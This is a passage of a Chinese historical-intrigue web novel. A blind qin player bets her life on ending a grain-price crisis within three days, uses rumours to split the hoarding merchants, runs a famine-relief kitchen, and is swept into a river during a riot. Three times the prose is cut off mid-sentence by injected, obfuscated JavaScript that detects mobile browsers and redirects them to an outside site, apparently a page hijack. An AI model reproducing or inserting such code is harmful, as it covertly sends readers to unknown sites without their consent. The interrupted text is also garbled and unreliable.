眼前恍惚浮现，她跪在深秋庭院中，素衣委地，梧叶纷飞如谶。那年她方五龄，鬓角垂着的双鬟还缚着稚气的嫣红。 破碎的记忆始于书房那缕檀香。 她似是有一兄长在诵《谏逐客书》，声若击玉。至“太山不让土壤”一句，忽作凝噎。她闻声抬眸，琅琅接续后文，竟一字不差。 满座尚在惊叹，她却望向面染霞色的兄长：“阿兄方才三处谬误，可是欲试先生真伪？” 霎时，满室寂然，唯闻窗外残蝉断续。母亲掌中的越窑青瓷盏铿然坠地，溅起满地寒香。 记忆回溯在她跪在苔痕斑驳的青石上，听得母亲含泪向族老低语：“这般稚龄，竟将人心照得如此洞明……” 她当时不解。 兄长刻意背错是实情，她不过揭破这层薄纱。犹记得前日指出厨娘暗藏蜜饵，上月识破表姊托病逃学……为何人人要以谎言粉饰太平。 一片梧桐旋落膝前，叶脉如命运蜿蜒。或许，人间亦是如此，总要剔除不合轨的异数。 “三日之期，本王给你。” 周放离的寒声厉语搅乱了若嵁那段模糊的记忆。 “先生有先生的主张，本王亦有本王的底线。此乃一，”他的目光锐利如昔，却沉淀下更深的警告，“这三日之内，王府不会予你丝毫助力。先生既以身为饵，便自行了断这局。” 他再次倾身，高大阴影以无形威压迫近若嵁：“三日之后，若粮价未平，民怨未消…… 你无需自缚双手出城，供人‘生啖’。本王自会给你一个痛快。也算全了你我这一场‘交易’。” 此言一出，门前亲兵悚然动容，云徵更是捂住嘴，眼中瞬间盈满泪水，难以置信地看着周放离，又惶急地望向若嵁。 给她一个痛快…… 若嵁覆纱下的眼睑轻颤，旋即归于平静。她极轻微地牵动了一下嘴角，仿佛早已料到会是如此。 “王爷……”若嵁颔首，不闻惧意，唯有尘埃落定的释然，“自当公允。” 周放离最后看向若嵁的眼神复杂难辨。有审视，有警告，或许还有一丝被隐藏极深的、连他自己都未曾察觉的怨憎懊恼。 衣袍在风中划开一道冷硬的弧线，他翻身上马。 “回府！” 周放离将这片残破的巷弄和立于此地的盲眼琴师，抛给了未知的命运。 直至马蹄声彻底消失，紧绷欲裂的气氛才稍稍松弛。 一名亲兵忍不住上前一步，低声道：“先生，王爷他……” “无妨。”若嵁打断他，声音平静无波，“二位职责已尽，今日之事，多谢。”她指的是方才拔刀护卫之举。 她转向云徵的方向，伸出手：“云徵，扶我进去。” 云徵忙拭去眼水，上前搀住她的臂膀，小手仍在打颤。 重回陋室，破损的木门早已阖不上，穿堂风带着寒意肆意灌入。 若嵁在琴台前坐下，肩头被周放离捏过的地方仍在隐隐作痛。覆纱的脸朝向门外那片灰蒙的天空，不知所思何事。 半晌，她忽地开口。 “你可曾觉得我有一副冷心肺？” 云徵一愣，用力摇头：“先生教我识字，给我饭吃，刚才……刚才还护着我！” 若嵁轻笑，笑意却不达眼底。 “我与你饭吃，因你于我‘有用’。我护你，因你唤我一声‘先生’。这世间万物，于我而言，大抵皆可权衡。” 她顿了顿，指尖无意识划过冰冷的琴弦，自哂：“大抵，他所言非虚。” 36. 碣石调·幽兰（三十五） 次日，天光尚未大亮，巷口便传来一阵急促的声响，打破了北城黎明前的死寂。 马蹄音在陋室门前戛然而止，随即是靴子重重踏在泥水里。 “霈然兄！”廖怀人未至，声先到。 他一把推开那扇勉力倚在门框上的木门，带着寒露，焦灼地闯进来。 屋内，若嵁于琴台前疾书，云徵则怯怯地在一旁研墨。廖怀的乍然出现，令她颇受惊吓，悬空的墨条险些脱手滚落。 若嵁侧耳向门，一缕极淡的熟悉熏香悄然入鼻，覆纱面上，未有半分意外。 “廖公子，晨安。” 廖怀顾不得礼数，几步跨到琴台前，够头去瞧若嵁所书为何。待见是“马谡拒谏失街亭武侯弹琴退仲达”这一回目，不由劈头问道： “今时光景如何，你怎得还能坐得住？霈然兄，你且告诉我，外头传的那些……可是真的？你立了三日之誓，若粮价不平，便……便任人……” 后面几字，令他如鲠在喉，纵是空想，亦觉一股寒气自足底窜上脊梁。 “是真的。”若嵁颔首应答。 廖怀倒抽一口冷气，竟似头回真正识得眼前这人。他双目圆睁，上下打量着若嵁，恨不得从她覆纱的脸上寻出半分慌乱或悔意，最终却只撞见一片深潭般的沉寂。 “你……你疯了不成？！”案上的劣等松香，随他重重一拍，倏然轻跳了一下。 “那是群饿红了眼的饥民！他们现在能被你唬住，三天后若见不到粮食，真能生撕了你！还有王爷，他……他竟也由得你如此胡来？！” 廖怀的胸膛起伏剧烈，显然是听闻此消息后当即策马赶来，焦灼之情溢于言表。 “王爷准了。”若嵁依旧平静，“此局，在下自行了断。” “自行了断？若无王爷支持，你如何你了断？”廖怀又急又怒，在原地踱了两步，靛蓝色劲装的衣摆扫过半圈灰尘，“你可知如今这苍梧城里风向？粮商关门闭户，谣言四起……霈然兄，你已成了众矢之的！” 他蓦地顿住脚步，俯身靠近，压低声音，暗恨道：“霈然兄！我知你非池中之物。可凡事总要量力而行！你这般行险，无异于自蹈死地！听我一句，速速随我离开这是非之地，暂避锋芒，从长计议！” 沉默不语的云徵也愕然抬头，眼中含泪，拽住若嵁的衣袖，虽未言语，祈求之意已明。 陋室内寂静无声，唯有窗外呼啸的风声，以及廖怀尚未平复的粗重呼吸。 若嵁轻轻挣开云徵的手，指尖在冰冷的琴弦上拂过，泛起一阵清越颤音。 “公子高义，在下心领。”她缓缓启唇，声调由轻转重，“然，棋局已开，落子无悔。此时若退，非但前功尽弃，王爷威信扫地，这北城万千饥民，便真再无望见天日之时……” 连天阴雨初霁，天光乍泄于门隙。檐下水珠悬坠，恰似透镜，将熹微光柱，映现分明。 其后，天光竟透纱而过，朦胧地在若嵁模糊的眼眸里，洇出斑驳的虚影。她缓缓抬首，语声竟滞涩了半分，末了，方续道： “公子的粮筹备得如何了？” 廖怀被她问得一怔，满腔的焦急仿佛被戳破了一个口子。他拧着眉头，虽觉此问突兀，仍是依言答道： “我连日奔走，动用家中关系，从临近州县筹措了一些。但……”他面露沮丧，声音低沉，“于这苍梧镇，乃至大同府而言，不过是九牛一毛罢了。” 许是天悯苍生，廖怀此番筹粮进展得格外顺利。 他开价虽高，那些粮商却既未推诿，亦未抬价。归途欣喜之情，却在见到沿途面黄肌瘦的流民时，全数化为乌有。 “杯水车薪，亦能暂解焦渴。”若嵁以琴音安抚，疏解他的郁闷，“廖公子，君子论迹不论心。你筹措这些粮食，一非为邀名，二非为图利，只因心中不忍。此念此迹，便是大善。于濒死者，一箪食、一豆羹，皆是生机。” 她稍作沉吟，流转于琴弦的指尖倏停，面朝向廖怀道：“算算距离，想必粮食明日便至苍梧。北城巷口设棚布施，在下欲向公子请缨。” “不可！”廖怀矢口否决，“霈然兄，你如今是何处境？那些饥民又是何形状？你若现身，他们……他们再被煽动，群起而攻之，你当如何自保？暗处窥伺之人，皆对你欲除之而后快！此举太过凶险！” 他急急上前，阻拦道：“粮食我自会派人布施，但你绝不能露面！安心待在此处，左不过多遣些家丁护卫便是。” “凶险？坐困于此，便是安全了么？”若嵁搭在琴弦上指尖划过，带起一声低微的嗡鸣，“如今之势，静不如动。我若龟缩不出，反倒坐实了‘心虚’、‘无能’之名。民怨如积薪，唯有疏导，方能化解。” 廖怀紧绷的身子缓缓滑落，最终瘫坐在若嵁对面。他眼圈泛红，眸中似有零星水光闪动，却倔强地不曾落下。 “我自幼失恃，又因不好武事、痴迷丝竹管弦成了父亲眼中的不堪之子。血脉相连的兄弟，实非我的兄弟。倾心相交的知己，眼下亦身陷两难之境……面对那些饥民，我悲其艰苦，惧其凶蛮，憾自己无能为力。空怀这无用的善心，彷徨无措，进退失据。霈然兄，” 他的声音一低再地，直至微不可闻，“我……或许真是个无用之人罢。” 与周放离争执后的踯躅犹在昨昔，今日廖怀这番剖白，亦教若嵁无言以对。 她惯以“有用”、“无用”度量世间万物，情谊于她，不过是锦上添花的点缀，或是随时可舍弃的负累。 然，廖怀明知她身处漩涡、前路未卜，却仍愿倾力相助，心中更满是无能为力的愧疚，与自惭形秽的卑微…… 此非算计，更无关利害。 似乎……也曾有人这般不计回报，赤诚待她？那人是谁？ 颀长挺拔的身影自若嵁眼前一晃而过，又转瞬消失不见。 陋室内寂静良久，窗外愈发清晰的风声灌入耳中。 若嵁覆纱的眼睑微垂，指尖摩挲着那把几经修补的焦尾琴上，面上凝着她从未有过的陌生情绪。 “廖公子，”她开口的声音里少了几分平日的清冷料峭，多了一丝难以捕捉的滞涩，“你言重了。” “这世间，能以‘有用’、‘无用’论之的人与事，其实甚少。善心或许无力回天，却非‘无用’。” 若嵁顿了顿，似在斟酌词句，也似在梳理自己同样纷乱的思绪。 “公子悲悯其苦，是仁；惧其凶蛮，是智；憾己力薄，是责。有此仁、智、责三者于心，又如何能说是‘无用’？视人命如草芥，以民怨为棋筹者，纵有权柄滔天，谋略无双，其心已冷，其行近魔，才是真正的……不堪……” 一字一句，宛若刀锋，要生生剖开若嵁的心。人性或可揣度，情谊却难量深浅。 肩头被周放离捏过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533432|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤处隐隐作痛。那痛楚之下，是他怒斥她“不悯世情”的雷霆之怒。她向来鄙夷优柔，此刻却恍然惊觉，周放离那不容玷污的“仁心”，或许并非软弱，而是基于对万民的情谊…… 她以万物为棋，而他将苍生置于棋盘之上。究竟谁，才是真正的“不堪”？ 若嵁抬手，虚虚指向琴台一角，那里搁置着一块品质上佳的松香。 “公子所赠松香，清冽醇正，远胜劣品。抚琴时，能助音色更为清越澄澈。此物于公子，或许只是举手之劳，于在下……” 她欲言又止。 廖怀却自其平静语调中，听出了不同以往的情绪。非是热忱或感动，而是一种近乎笨拙的理解与接纳的姿态。 “霈然兄……”他喃喃道，一时无言。 片刻沉寂，足以令若嵁恢复如常。她吩咐道： “明日布施，细节还需与公子细细推演。粮食如何调度，人手如何布置，流言如何应对，皆需万全。” 廖怀失神地望着她发号施令，心中再次惊叹其心窍玲珑，思虑周详。她那深不见底的智谋，总能将旁人机关算尽的谋划，反衬得苍白无力。 待若嵁一一条陈，廖怀眼中的劝阻已然消失，取而代之的是一种决意。 “明日我会尽遣人手。若真有人不识时务，妄想作乱……”他眼中闪过一丝厉色，“小爷的刀，也不是吃素的。” 若嵁微微颔首，算是致谢。 “有劳公子。” …… 廖怀离去后，屋内重归寂静。一阵穿堂风过，破门轻响。 若嵁静坐片刻，忽而朝云徵方向轻声道：“过来。” 云徵依言走近。若嵁摸索着，引她的手指落在琴弦之上。 “今日，我教你《猗兰操》。”若嵁带着云徵的指尖在冰冷的弦上定位，“此曲清微淡远，哀而不伤。孔夫子见幽谷兰花，感时而作。你且记下这起手……” 她教得极慢、极细，不仅授指法，更将曲中意蕴、典故一一道来，仿佛要将毕生所学，在这短暂光景里尽数倾囊相授。 侍立门外的两名亲卫交换眼神，各有所思。他们奉命护卫，亦听得昨日王爷那“三日之后，亲自给你一个痛快”的决绝之言。此刻见这盲眼琴师还有闲情逸致教琴，心中不免疑窦丛生，更觉此人心思深沉难测。 “王爷当真由她这般……”一名亲卫压低了声音，语带不解。 另一人目光扫过巷口隐约晃动的人影，冷然道：“王爷自有决断。你我只需尽好本分。” 屋内，云徵初学，心绪不宁，加之若嵁所教指法激烈，她力道把握不善—— “铮！”的一声锐响，琴弦应声而断。 琴音戛然而止，云徵小脸煞白，慌忙跪下：“先生！我……” 她知此琴乃先生珍视之物，如今弦断，在这紧要关头，更似不祥之兆，让她惊惧得快要哭出来。 若嵁覆纱的面容转向断弦处，静默一瞬，并未责怪。她伸手扶起云徵，淡然道： “无妨。不过一根弦罢了，断了，换了便是。” 她自怀中摸索出几枚铜钱，放入云徵掌心，指尖在她手背上轻轻按了按，带着一种无声的安抚。 “你去巷口的杂货铺，买一根新弦回来。记住，只要‘清音坊’的老弦，别无二家。若掌柜问起，你便报上‘北城抚琴的若先生’之名，他自然知晓。” 37. 碣石调·幽兰（三十六） 云徵握紧铜钱，用力点头，因先生的宽慰稍安。她快步绕过破损的门扉，快步融入了北城萧瑟的街巷。 巷口杂货铺的掌柜果如若嵁所言，听闻北城琴师要“清音坊的老弦”，浑浊的眼睛抬了抬，随即慢吞吞自柜台底下翻出一个落满灰尘的旧盒子，取出一根色泽暗却韧劲十足的琴弦。 云徵付完钱，拿起琴弦，转身欲离，那掌柜嘟囔了一句：“这‘老弦’韧是韧，就是怕潮。翠云阁临水，红绡姑娘前些日子也想找这弦，但不合用哩。” 云徵心思单纯，未曾深想，只当是掌柜闲话。她牢记若嵁吩咐，拿了弦便匆匆往回走。 行至半途，经过一条僻静小巷，一个提着货篮的妇人步履匆忙，与云徵撞了个满怀。 “哎哟。对不住，实在对不住。小娘子，这小玩样就送与你赔罪。” 那妇人手忙脚乱地帮云徵拍去衣袖上的尘土，顺手从货篮子里挑拣出一枚形制精巧的镂空铃铛递了过去。 云徵莞尔一笑，出言推辞，“没事。路不平，夫人小心。” 妇人执意相赠，云徵推拒不得，又念及先生久候，便随手将铃铛塞袖，匆匆赶路而去。 望着她离去的背影，妇人旋即快步拐进另一条深巷，转瞬便没了踪影。 云徵归至陋室，将新弦递与若嵁。展袖之际，袖间铃铛忽作“叮当”轻响。 若嵁闻声，手中动作骤顿。 “铃铛？” 问话的声音难辨情绪，却无端教云徵心头一紧。她忙从袖中取出那枚铃铛，解释其来历。杂货铺掌柜的絮叨之言，亦被她尽数详述。 若嵁伸手接过，指尖摩挲着冰凉的镂空纹路。铃铛做工精巧，绝非寻常街边货色，其声清越，余韵悠长，材质似铜非铜。 临水？怕潮？善！ 她不置可否地将铃铛还给云徵。埋首开始拧紧新弦，校准音色。 指尖流泻的琴音，如淙淙流水缓和悠扬，荡出方寸陋室。 翠云阁红绡厢房 窗外湖水，于暮色中泛着幽暗鳞光，湿冷寒气悄无声息渗进来。纵燃着熏笼，也驱不散那附骨之疽般的潮意。 红绡斜倚在窗边的软榻上，昔日妩媚的眼眸如今盛满疲惫。她手中无意识地揉捏着一方丝帕，指尖冰凉。 “铃铛可送到？” 侍女将灌好的汤婆子递了回去，恭敬应道：“掌柜的一听先生要‘清音坊的老弦''，当即唤王婆子，佯作无意，将铃铛赠与云娘。” 红绡接过汤婆子，指尖触及那一点暖意，微蹙的眉却并未舒展。她目光投向窗外幽暗的湖面，眼底晦暗与迷惘交织。 “先生布局深远，非我等能及。”她揉开眉心，喟叹道，“还记得月前，先生在此抚琴，偶闻几位南边来的客商议论粮价，言及‘涨幅骇人’……” 侍女垂首静立，细心聆听。 “当时先生只作未闻。一曲终了，事后却问我，若有一日，这苍梧粮价成为困死人的枷锁，何处可寻一线生机？”红绡的指尖无意识地在丝帕上划动，“我彼时不解，先生便道，‘以利相交者，利尽则散。分而化之，一击必中。’” 红绡语气稍顿，唇角牵起一抹极淡的笑意。 “如今，一切皆如先生所言。” 侍女眸光微动，低声道：“姑娘是指……” “临近的山阴、马邑几县，如今已是流言四起。”红绡的声音压得更低，却字字清晰，“都说漕运不日即将疏通，南边的粮船已到了津门。更有传言，道是燕王震怒，已派精锐前往各地，严查囤积，凡有逾限者，皆以资敌论处……” 侍女闻言低呼：“这般说辞，当真会有人信？” “传闻半真半假，虚实难辨。漕运之事，必有所筹划，何时疏通却不得而知。至于王府查囤，亦非空穴来风。真话里掺上三分假，才最能搅动人心。” 红绡轻轻呵出一口气，白雾在寒冷的空气中短暂停留，“那些粮商，平日里沆瀣一气，看似铁板一块。可这‘利’字当头，一旦觉着风向要变，谁不想抢在别人前头，将手里的烫手山芋抛出去，好独善其身？” 她微微直起身，将汤婆子拢在袖中。 “参将府的廖公子能如此轻易筹得粮食，你当真以为，全是靠他廖家的名头和银钱么？”红绡意味深长地瞥了侍女一眼，“走商贩卒的消息最为灵通……商人逐利，囤货奇居落落不到好处，可不得赶忙出手？！” 侍女恍然大悟，眼中露出钦佩之色。 “原来……先生当真是深谋远虑、算无遗漏。借商贾之口传递消息，再借廖公子筹粮之事加以印证，使得流言愈发可信。如此一来，待流言传入苍梧，恐慌一起，他们内部必生嫌隙！” 红绡颔首，疲惫的眼眸中终是有了神采。她与阿弟的前路未卜，仰仗先生，或真可探出一条生路！ 她再次望向窗外，夜色浓重，语气却格外笃定： “铃铛既已作响，这盘棋，便该轮到我们落子了。去传令底下人，水流还需再急些……务必在三日之内，让这“粮道将通”的风声，吹遍大同府每一处角落。” “是，姑娘。”侍女肃然应道，悄然退下。 红绡独自留在房中，指尖敲击窗棂的细微声响，仿佛穿透了夜色，与北城陋室的琴音遥相呼应。 与此同时，大同府，广通源总号后堂。 烛火通明，却难以驱散弥漫在堂内的凝重气氛。若嵁立下“三日毒誓”的消息，早已在第一时间传至在场之人的耳中。 “疯子！真是个疯子！”身宽体胖的钱东家额上沁着油汗，在铺着厚绒地毯的厅堂里来回踱步，宛若困兽，“生啖其肉……她怎么敢？！当真不怕那些暴民撕了她？” 他蓦地停下，愕然看向主位上依旧沉稳的孙鼎，声音里尽是惶恐：“孙翁，此事……此事透着邪性啊！那瞎子莫非真有倚仗？否则岂敢拿性命作赌？” 孙鼎慢条斯理地拨弄着手中的翡翠扳指，眼皮都未抬一下：“赌？她一个瞎子，一无所有，自然敢赌。赌赢了，她是功臣；赌输了，不过一死。光脚的不怕穿鞋的，此乃亡命之徒的惯用伎俩，何足为惧？” 他的声音平稳，安抚住了众人躁动的情绪，但眼底闪过暗芒，捻动扳指的指尖不自觉地加重了几分力道。 那盲眼琴师的应对，着实出人意料。一袋米，消弭一场阳谋；一计毒誓，破了围困之局。若燕王身边有此人襄助，只怕再难入彀，得想办法，将她除去…… “可是……”钱东家咽了口唾沫，压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533433|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音，“孙翁，您没听说吗？外面……外面都在传，漕运不日就要通了！南边的粮船已经到了津门！还有人说，燕王府的精锐已经出动，要严查囤积，逾限者以资敌论处！” 此言一出，在座几位粮商脸色微变。他们互相交换着眼神，惊疑不定。 这些流言他们早前便听到过，初时不以为意，可再结合那瞎子的疯狂之举，不由得他们不多想。 “慌什么！”孙鼎敛去惫懒，抬眼扫过众人，带着不容置疑的威压，“漕运疏通岂是易事？若真如此，王府何须让一个瞎子出来立这军令状？至于查囤……呵，燕王投鼠忌器，不敢擅动。” 被他眼神点过的几人眼珠轻转，笑容敷衍，似乎是另有想法。 孙鼎不由嗤笑一声，语气转冷，警告道： “越是此时，越要沉住气。关门闭户，暂停售粮，让苍梧城彻底断粮，那瞎子‘三日之期’自然是一句空话。谁若在这个节骨眼上自乱阵脚，私自售粮，坏了大事……休怪孙某不讲情面！” 最后一句，竟是杀气凛然，不似寻常商贾。 钱东家等人噤若寒蝉，不敢再多言，但各自心中的小算盘，却在恐慌的催化下，开始悄然拨动。 倏尔，广通源总号后堂，烛火依旧，却只剩孙鼎一人。 众人唯唯诺诺地告退后，那份强撑的沉稳自孙鼎脸上剥落。他眉宇深锁，指间的翡翠扳指被捻得飞快，暴露了内心的波澜。 孙鼎并非表相那般冷静。若嵁此举，恰似一根毒刺，深深扎进他心尖，纵不流血，却如鲠在喉。 “漕运将通……王府查囤……”他低声重复着这几个词，眼神阴鸷。 若在平日，他对此等无根浮萍只会嗤之以鼻。然而，此等无稽之谈与琴师那近乎自毁的疯狂缠作一处，竟莫名令他觉得合理。 世人皆惜性命，她偏能如此镇定——除非，她笃定自己绝不会死，更笃定这局乱棋，三日内必有逆转。 这背后，究竟是虚张声势，抑或是确有其事？ 他不能赌，也不敢完全不信。尤其是那几个墙头草，眼神飘忽，恐怕已有异心。 必须尽快确认！ 孙鼎豁然起身，快步走到书案前。铺开素笺，他提起笔，却悬停片刻。 不可直白相问，易留把柄。 他略一沉吟，笔尖落下，措辞谨慎： 「大人钧鉴： 北地春寒料峭，商事颇多阻滞。近闻南货流通似有舒缓之象，未知大人可有听闻？另，各地官仓稽查之风渐起，恐扰市舶常序，敢问上意如何，以便麾下人等遵循，免生差池。」 孙鼎吹干墨迹，装入特制的竹筒，用火漆封好，盖上印记。 “孙福！”他沉声唤道。 一直守在门外的老仆应声而入，垂手听命。 “即刻将此信发出，以最快的途径，务必亲手交至……”孙鼎压低声音，交代接收之人和方式，“得到回信，第一时间报我！” “是，老爷。”孙福小心翼翼接过竹筒，贴身藏好，无声退去。 孙鼎独倚窗前，望窗外夜色沉沉，似能见暗潮在昏暗中翻涌。 盲眼琴师的身影，与那些真伪难辨的流言，无声交织成一张巨网，正在缓缓朝他笼下。 38. 碣石调·幽兰（三十七） 翌日，辰时，北城巷口 空地支起数灶，薪火正旺。饭香柴气，透雾而出，徐徐驱散春城晨间的寒意。 然而，在这份难得的“暖意”之下，廖怀等人却好似紧绷欲断的弦。 仆役们一边维持秩序，一边警惕扫视着步步靠近的饥民，握粥勺与棍棒的手背青筋微鼓，半分不敢松懈。两名燕王府亲兵更按刀立在若嵁身侧，玄甲在渐高日光下泛着冷硬光泽，目光如鹰隼般锐利，将人群中半点异常骚动都收在眼底。 贴身管事趁着间隙，快步走至廖怀与若嵁身前，忧心忡忡地压低声音道： “公子，先生，这批粮食……满打满算，将将只够这般足量放赈半月。是否……按老规矩，掺些麸皮杂粮，或是将陈米混入新米之中，也好多支撑些时日？” 廖怀闻言，心中虽不快，却也觉得管事说得有几分道理。他不敢擅专，遂下意识地看向身旁的若嵁，欲寻求她的意见。 若嵁自然无法瞧见廖怀眼中的探询，管事的话却清清楚楚传入她的耳中。她唇角微牵，漫不经心地抬高下颌，音量刻意拔高， “不必。今日之粥，必要米粒分明，稠可立筷。” 布施的米粮中掺杂麸皮杂粮是惯常做法，绝非个例，个中缘由亦不可单单以吝啬定夺。饥民能得一碗热粥，便已是满足，此刻更是个个面露喜色，连声称赞在场诸位皆是“活菩萨”。 热潮稍退，廖怀眼角余光掠过人群，忍不住倾身，将声音压得极低：“霈然兄可曾听漏？半月之后……” “公子勿忧。”若嵁微微侧首，打断廖怀未竟之言，平静安抚道，“不消半月，粮价之危可解。” 尔后，她转向管事方向，补充道：“若有老弱妇孺言称家中有病患无法亲至，核实后，可酌情再予一小勺。不必吝啬。” 管事张了张嘴，见廖怀虽面有忧色，却终究咬牙点头默许，只得将劝谏的话咽回肚子里，躬身应道：“是，先生。” 他转身回到锅前，看着那雪白的米粒，暗中腹诽二人行事不周，却也只得硬着头皮，继续一勺勺地舀出稠厚的粥羹。 此番对话声音极低，不远处混在人群里的几道身影，只依稀捕捉到了只言片语，反倒是若嵁那一番应答倒是听得格外清晰。 几人面面相觑，局势与老爷们所说似乎不太相符，可还要伺机煽动民众暴乱？ 领头汉子身侧的干瘦男子见状，眼中闪过一瞬暗芒。孙老爷可许过了，只消喊上几句，便可得二钱银子。他夹在人缝中，蓦地扯着嗓子喊叫道： “官老爷们施粥是好事！啷个晓得这粥能吃几天？别是糊弄咱们一天算一天，到时候没了粮，咱们还不是等死！” 此言一出，如同冷水滴入油锅。 排队的饥民中顿时起骚动，无数道目光惊疑不定地看向粥棚，看向若嵁和廖怀，方才建立起的脆弱的信任有了倒塌倾向。 维护秩序的仆役、亲兵绷紧肌肉，肃目以待，气氛骤然焦灼。 然而，不待那干瘦男子再煽动，也不及廖怀等人呵斥，人群中另一个刚领到粥的老汉，却忽地抬起头，用带着浓重口音却难掩激动的声音反驳道： “你胡吣个啥！俺刚从山阴县逃过来投亲！那边都传遍了！说漕运马上就要通了！南边的粮船已经到了津门咧！王府的老爷们也发了狠，要严查那些黑了心肝、囤粮不卖的奸商！” 他声音洪亮，与有荣焉：“这位先生和廖公子现在施粥，是仁义！是救急！等过两天粮船一到，还怕没饭吃吗？！你们这些人，莫要在这里乱嚼舌根，坏了大家的好事！” “当真？！漕运真要通了？！” “老天爷……终于……终于有活路了？” “我就说！先生敢立那样的誓，肯定有后手！” 此消息如通野火燎原，瞬间席卷这片绝望的荒原。饥民灰败的面庞上，首度迸出真切光彩，窃窃私语汇聚成激动浪潮。 不少人捧粥碗的手止不住颤抖，眼中重燃名为“希望”的火焰，他们望向若嵁的目光，亦从先前的怀疑审视，逐渐化作感激与期盼。 出言挑唆的几人，被这突如其来的反转和周围饥民的情绪变化弄得措手不及。领头汉子盯着从容坐在幕后，一副尽在掌握中的若嵁，又看了看周围那些焕发生机的面孔，一时卡了壳。 他脸色铁青，不由咬牙低声道：“……走！” 不待几人行动，便被人群团团围住，动弹不得。 街尾同来探听消息的几个粮商伙计，哪敢再留，带着真假难辨的消息，慌忙消失在巷口。 而此刻的若嵁，面容沉静，对先前闹剧浑不在意。无人知晓，覆纱之下，那一叶重瞳里，正盛满了讥诮。 这一出空城计，已然初成。 …… 巳时末，布施接近尾声，人群虽开始散去，却仍旧簇拥在通往各处的狭窄巷道上，带着满足后的些许懈怠与对明日还能领到粥米的期盼。 然而，就在这时，异变突生！ “抢粮啊！他们是骗子！明日不会再有粮了！”一声凄厉的嘶吼划破空气。 紧接着，更多声音炸开：“快冲！粮食就在后面！” 妇女的尖叫穿透人墙：“孩子！我的孩子！” 几乎同时，那几名被围殴的煽动者猛地发难，用尽全身力气向前推搡！ 本就密集的人群愈发骚乱。求生的本能压过一切理智，他们并非完全听信了煽动，只是在恐慌的洪流中，被身后的人潮卷着，身不由己地向前涌去。 “保护先生！保护公子！” 廖家仆役和两名王府亲兵猝不及防，霎时被汹涌的人潮冲得七零八落！他们高声呼喝，试图稳定秩序，但在失去理智的人群面前，如螳臂挡车，更遑论施展刀剑。 廖怀贴站在若嵁身侧不远，不待言说今日之成就喜悦，人潮便已如怒涛般涌来。他下意识地伸手去拉若嵁，想将她护在身后，却被一股巨力撞得一个趔趄。 “霈然兄！”廖怀惊呼，却不忘死死抓住若嵁的手腕。 两人被混乱的人流裹挟着，身不由己地向后倒退。 布施的地点，本就离文莺河的支流不远，河岸只是用粗糙的石头简单垒砌，并无护栏。在人群疯狂的推挤下，廖怀脚下一绊，重心全失，连带着拉着若嵁一同向后翻倒。 “噗通！” “噗通！” 冰冷的河水刹那间将二人吞噬。 刺骨的寒意令廖怀近乎窒息，他呛了一口水，挣扎着浮出水面，慌乱四顾： “霈然兄！霈然兄！” 然而，因连绵雨水愈加湍急的暗流顷刻间冲散了两人。廖怀唯见那团玄氅自浑浊河水中一闪，便不见了踪影。 “该死！” 廖怀又急又怒，拼命划水，试图寻找若嵁踪迹。怎奈河水冲刷剧烈，他本就水性平平，此刻更是手忙脚乱。 就在他挣扎着试图靠近岸边时，河岸上一道黑影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533434|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪过！ 一蒙面刺客竟沿着河岸追踪而来。见廖怀落单，眼中寒光一闪，抬手间，数点乌光射向水中难以闪避的廖怀！ “还来？！”廖怀心中叫苦不迭。 他当真是流年不济，与水犯冲。上一次在这湖中救了捕快徐青，今时今日，又有谁能相助？ 他慌忙一个猛子扎入水中躲避，暗器险险擦着头皮掠过。但这一潜，虽避开致命一击，却也令他彻底失去方向，被水草缠住了脚踝。 待廖怀好不容易挣脱水草，狼狈不堪地冒出头时，发现自己已被冲到了下游一处更荒僻的河段。 岸边芦苇丛生，不见人影，唯有那阴魂不散的刺客，正沿着河岸追来。 而另一边，冰冷的河水浸透厚重的玄氅，裹住了若嵁的四肢百骸。巨大的浮力与重量同时作用，将她向下拉扯。 “唔！” 她闷哼一声，口鼻不可避免地呛入河水，窒息感与刺骨寒意一同袭来。 在如此境地，源于本能的冷静占据绝对上风。 若嵁即刻意识到这身避寒的衣物，此刻已成催命符。厚重吸水的织物如同枷锁，疯狂消耗着她的体力，将她拖向河底。 在水流将其再次卷入深处前，若嵁毫不犹疑地抓住氅衣两侧，用尽全身力气向外一挣。 系带崩断，那件昂贵的玄色大氅如同一条挣脱束缚的黑龙，在浑浊的水流中翻滚了几下，便被湍急的河水卷走，不见踪影。 负担已去，若嵁的身体顿时一轻。她屏住残余的呼吸，双手在水中划动，试图控制方向。 眼前的白纱早已断裂，模糊的视线在这混浊的湖水中起不到丝毫助力。她习惯性地借助听觉、触觉，辨别水流的方向与速度。 若嵁努力调整姿态，而是借着水势，向着河岸的方向斜切过去。 就在她肺腑似要炸开、意识渐趋模糊的刹那，指尖忽触到一片滑腻。 